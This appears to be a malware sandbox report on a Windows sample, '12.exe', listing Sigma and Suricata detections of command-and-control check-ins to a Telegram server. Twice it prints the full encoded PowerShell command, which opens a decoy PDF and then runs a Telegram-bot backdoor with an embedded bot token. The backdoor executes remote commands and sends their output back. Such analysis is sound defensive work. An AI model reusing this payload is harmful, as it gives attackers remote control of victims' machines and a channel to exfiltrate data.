AgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6688, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Telemiris CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:03:45.210761+0100	2058964	1	A Network Trojan was detected	192.168.2.5	49704	149.154.167.220	443	TCP
2025-01-14T10:03:48.462922+0100	2058964	1	A Network Trojan was detected	192.168.2.5	49705	149.154.167.220	443	TCP
2025-01-14T10:04:02.723979+0100	2058964	1	A Network Trojan was detected	192.168.2.5	49725	149.154.167.220	443	TCP
2025-01-14T10:04:11.695646+0100	2058964	1	A Network Trojan was detected	192.168.2.5	49794	149.154.167.220	443	TCP
2025-01-14T10:04:17.590674+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64791	149.154.167.220	443	TCP
2025-01-14T10:04:28.554435+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64862	149.154.167.220	443	TCP
2025-01-14T10:04:42.657834+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64944	149.154.167.220	443	TCP
2025-01-14T10:04:50.700050+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64975	149.154.167.220	443	TCP
2025-01-14T10:05:00.628281+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64976	149.154.167.220	443	TCP
2025-01-14T10:05:06.500484+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64977	149.154.167.220	443	TCP
2025-01-14T10:05:09.434763+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64978	149.154.167.220	443	TCP
2025-01-14T10:05:12.303603+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64979	149.154.167.220	443	TCP
2025-01-14T10:05:17.906176+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64980	149.154.167.220	443	TCP
2025-01-14T10:05:24.946423+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64981	149.154.167.220	443	TCP
2025-01-14T10:05:33.800975+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64982	149.154.167.220	443	TCP
2025-01-14T10:05:36.807885+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64983	149.154.167.220	443	TCP
2025-01-14T10:05:39.687968+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64984	149.154.167.220	443	TCP
2025-01-14T10:05:45.598094+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64985	149.154.167.220	443	TCP
2025-01-14T10:05:50.635229+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64986	149.154.167.220	443	TCP
2025-01-14T10:06:03.686867+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64987	149.154.167.220	443	TCP
2025-01-14T10:06:05.631751+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64988	149.154.167.220	443	TCP
2025-01-14T10:06:08.881366+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64989	149.154.167.220	443	TCP
2025-01-14T10:06:19.882827+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64990	149.154.167.220	443	TCP
2025-01-14T10:06:20.935845+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64991	149.154.167.220	443	TCP
2025-01-14T10:06:35.060683+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64992	149.154.167.220	443	TCP
2025-01-14T10:06:40.934228+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64993	149.154.167.220	443	TCP
2025-01-14T10:06:43.848963+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64994	149.154.167.220	443	TCP
2025-01-14T10:06:46.724880+0100	2058964	1	A Network Trojan was detected	192.168.2.5	64995	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:03:48.462922+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	149.154.167.220	443	TCP
2025-01-14T10:04:02.723979+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49725	149.154.167.220	443	TCP
2025-01-14T10:04:11.695646+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49794	149.154.167.220	443	TCP
2025-01-14T10:04:17.590674+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64791	149.154.167.220	443	TCP
2025-01-14T10:04:28.554435+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64862	149.154.167.220	443	TCP
2025-01-14T10:04:42.657834+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64944	149.154.167.220	443	TCP
2025-01-14T10:04:50.700050+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64975	149.154.167.220	443	TCP
2025-01-14T10:05:00.628281+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64976	149.154.167.220	443	TCP
2025-01-14T10:05:06.500484+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64977	149.154.167.220	443	TCP
2025-01-14T10:05:09.434763+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64978	149.154.167.220	443	TCP
2025-01-14T10:05:12.303603+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64979	149.154.167.220	443	TCP
2025-01-14T10:05:17.906176+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64980	149.154.167.220	443	TCP
2025-01-14T10:05:24.946423+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64981	149.154.167.220	443	TCP
2025-01-14T10:05:33.800975+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64982	149.154.167.220	443	TCP
2025-01-14T10:05:36.807885+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64983	149.154.167.220	443	TCP
2025-01-14T10:05:39.687968+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64984	149.154.167.220	443	TCP
2025-01-14T10:05:45.598094+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64985	149.154.167.220	443	TCP
2025-01-14T10:05:50.635229+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64986	149.154.167.220	443	TCP
2025-01-14T10:06:03.686867+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64987	149.154.167.220	443	TCP
2025-01-14T10:06:05.631751+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64988	149.154.167.220	443	TCP
2025-01-14T10:06:08.881366+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64989	149.154.167.220	443	TCP
2025-01-14T10:06:19.882827+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64990	149.154.167.220	443	TCP
2025-01-14T10:06:20.935845+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64991	149.154.167.220	443	TCP
2025-01-14T10:06:35.060683+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64992	149.154.167.220	443	TCP
2025-01-14T10:06:40.934228+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64993	149.154.167.220	443	TCP
2025-01-14T10:06:43.848963+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64994	149.154.167.220	443	TCP
2025-01-14T10:06:46.724880+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	64995	149.154.167.220	443	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:03:45.210761+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	149.154.167.220	443	TCP
2025-01-14T10:03:48.462922+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49705	149.154.167.220	443	TCP
2025-01-14T10:04:02.723979+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49725	149.154.167.220	443	TCP
2025-01-14T10:04:11.695646+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49794	149.154.167.220	443	TCP
2025-01-14T10:04:17.590674+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64791	149.154.167.220	443	TCP
2025-01-14T10:04:28.554435+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64862	149.154.167.220	443	TCP
2025-01-14T10:04:42.657834+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64944	149.154.167.220	443	TCP
2025-01-14T10:04:50.700050+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64975	149.154.167.220	443	TCP
2025-01-14T10:05:00.628281+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64976	149.154.167.220	443	TCP
2025-01-14T10:05:06.500484+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64977	149.154.167.220	443	TCP
2025-01-14T10:05:09.434763+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64978	149.154.167.220	443	TCP
2025-01-14T10:05:12.303603+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64979	149.154.167.220	443	TCP
2025-01-14T10:05:17.906176+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64980	149.154.167.220	443	TCP
2025-01-14T10:05:24.946423+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64981	149.154.167.220	443	TCP
2025-01-14T10:05:33.800975+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64982	149.154.167.220	443	TCP
2025-01-14T10:05:36.807885+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64983	149.154.167.220	443	TCP
2025-01-14T10:05:39.687968+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64984	149.154.167.220	443	TCP
2025-01-14T10:05:45.598094+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64985	149.154.167.220	443	TCP
2025-01-14T10:05:50.635229+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64986	149.154.167.220	443	TCP
2025-01-14T10:06:03.686867+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64987	149.154.167.220	443	TCP
2025-01-14T10:06:05.631751+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64988	149.154.167.220	443	TCP
2025-01-14T10:06:08.881366+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64989	149.154.167.220	443	TCP
2025-01-14T10:06:19.882827+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64990	149.154.167.220	443	TCP
2025-01-14T10:06:20.935845+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64991	149.154.167.220	443	TCP
2025-01-14T10:06:35.060683+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64992	149.154.167.220	443	TCP
2025-01-14T10:06:40.934228+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64993	149.154.167.220	443	TCP
2025-01-14T10:06:43.848963+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64994	149.154.167.220	443	TCP
2025-01-14T10:06:46.724880+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	64995	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 12.exe	Virustotal: Detection: 16%			Perma Link
Source: 12.exe	ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: 12.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.3965066226.000001C861FC2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb" source: 12.exe
Source:	Binary string: C:\Users\Admin\source\repos\ConsoleApplication5\x64\Release\ConsoleApplication5.pdb source: 12.exe

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF73A40AAE0 FindFirstFileExW,

0_2_00007FF73A40AAE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:49705 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:49725 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:49704 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64791 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:49794 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64981 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64987 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64977 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64993 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64975 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64944 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64985 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2058964 - Severity 1 - ET MALWARE Telemiris CnC Checkin : 192.168.2.5:64995 -> 149.154.167.220:443
